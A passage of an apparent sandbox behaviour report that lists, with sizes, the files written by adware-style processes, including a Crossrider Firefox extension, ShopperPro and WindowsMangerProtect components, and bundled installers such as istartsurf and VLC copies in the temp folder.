C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\8817c9391389727c9655917fd4338ae6.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\901ae9b5a6e40182d52e76aec247577e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\85f7cca8039aeef5d426f795ee0f1a15.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\cb7d126926f42347fc55698a83cd70ca.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f6758dc126ca0a23945f96c0c3703753.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\516526ab82e76be898474ca408b835f7.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\57903bc84fe2eda487d1562fe3eee754.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b705cd1012436d67bda616e7599dcae6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\da200d89c0fd7a21c76daf037ab8b218.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b926fde121b0294728fc12add7ec3f44.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\aa839c382b46c5eb9c3416ef18e3f16c.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\0fbc559e29069451133b7297f27a21b5.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\bf684456bf984e99606a9f5619343777.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\856d00536904396b2c7828a7ada5f3f1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\26452309815d303f673a0e1806fdea92.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c5dc6502ea8c1370834237053bde1d1b.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d805fd3e40449a3a3ca607cd503f2fd6.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\17bd02c5b6befffac5969158dbd498b7.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\0962972af428444d71abe83599230e4e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\082687884ee204327f5e44a79427b0c8.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\679c00f973d3b35e73892affc2cedc8c.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\73072fb329ad88a24778cd6225c95188.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a628d957c3645456d3a375accac02293.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\08b647e89803dede7f0b08137f4ee061.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8ab0612503be70b0febc1b6f0dcce6a7.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)

The process jsdrv.exe:3208 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

The process wpm_v20.0.0.1953_0302.exe:460 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3568 bytes)

The process biclient.exe:1576 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.2 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.3 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.0 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.1 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.6 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.7 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.4 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.5 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula[1].htm (1056 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\eula-istartsurf[1].htm (1053 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe (49444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F6BD.tmp (33816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyoThreeWavesBG[1].jpg (1068 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe (1535504 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\607deb71d8f3494f867a2b514a49c4e9[1].htm (34475 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-swiftrecord[1].htm (4337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_default_logo[1].png (3 bytes)

The process fa685f8d-234c-469b-ad75-56eb948fe4f7-4.exe:3608 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\79cd9608cbc574cda703885a72c26c59.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f822085f6f2d043dcfb9cc15326dc931.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b560f312f816900ad27d22266c160cd3.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8241757fd0e2ce6682b59b4502ad2ac7.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\343fe0794bec5f30b51ee31495f6e6a1.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\573dd7d3021b62726cb3e48961c2e237.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\efad449a49195da5219facd8f9e7ec70.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5cae6a52cc77e73fd47e37664a12ca2b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ea6c0a02c06ac8ac8fec7ba8fb3a33d5.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\79884a982a4e1779f6d2d4cae2b26b63.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8edf68bd2a513df3ed45d9a2a1938d5b.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ee5ea7810742a1ad4f86a6330778da16.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\75a7eb0fc602b22be4eeefad03762876.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\44597f96c69782e598fefebdae66d0fd.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\28980902501fd9731f658c4b6af3b460.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9a4cdd7493c0c5a9ed9bd25fe7e267aa.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e65cdfbf7c005fcf208f4b2ad5b47403.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c0650166544d66f5f6a6bae5ca5d5c26.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e308dfae68ba85f182b7e2e8be3600bd.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d954be94f8dacf8509958d909d7a0433.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\081e130f36d9e5a638c5b1bc4faec2a1.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\a2a8cb3fe5768300227b2aecb2c1b793.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\836fd1a85c2aa04ff1419cd739b392df.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d31e7d44c26616f2c8dfb59f122bebfc.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\19ee57e884ea6b7545abcdb5a365af15.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\04a48d2d60105ed50d54968258762b20.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
